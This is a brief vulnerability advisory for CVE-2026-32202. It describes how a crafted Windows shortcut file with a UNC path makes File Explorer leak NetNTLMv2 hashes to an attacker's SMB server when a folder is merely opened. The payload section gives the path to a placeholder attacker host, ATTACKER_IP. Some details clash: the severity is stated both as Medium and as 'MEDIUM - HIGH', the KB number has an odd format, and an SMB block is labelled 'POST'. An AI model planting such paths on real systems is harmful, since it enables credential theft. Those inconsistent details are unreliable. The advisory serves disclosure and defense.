# Titles: Microsoft - NTLMv2 Hash Capture
# Author: nu11secur1ty
# Date: 2026-05-27
# Vendor: Microsoft
# Software: Windows Shell (File Explorer)
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2026-32202

## Description:
A spoofing vulnerability in Windows Shell (File Explorer) allows an
attacker to capture NTLMv2 hashes without user interaction. By crafting a
malicious .lnk (shortcut) file with a UNC path pointing to an
attacker-controlled SMB server, the target's Windows system automatically
sends an NTLMv2 authentication request when the folder containing the .lnk
file is opened. No click on the shortcut is required – simply viewing the
folder triggers the vulnerability.

**CVSS**: 4.3 (Medium) – NetNTLMv2 hash leak
**Attack Vector**: Network (SMB)
**Privileges Required**: None (user only needs to open a folder)
**User Interaction**: None (zero-click)

**Affected Versions**:
- Windows 11 23H2, 24H2, 25H2, 26H1
- Windows 10 21H2-22H2
- Windows Server 2019/2022/2025

**Patch**: Microsoft April 2026 Patch Tuesday (KB2026-04214)

STATUS: MEDIUM - HIGH/ Vulnerability

[+]Payload:

```POST
SMB/CIFS NTLMv2 Authentication Request
UNC Path: \\ATTACKER_IP\share\payload.dll
Protocol: SMB2 (port 445)
Hash Type: NetNTLMv2
```
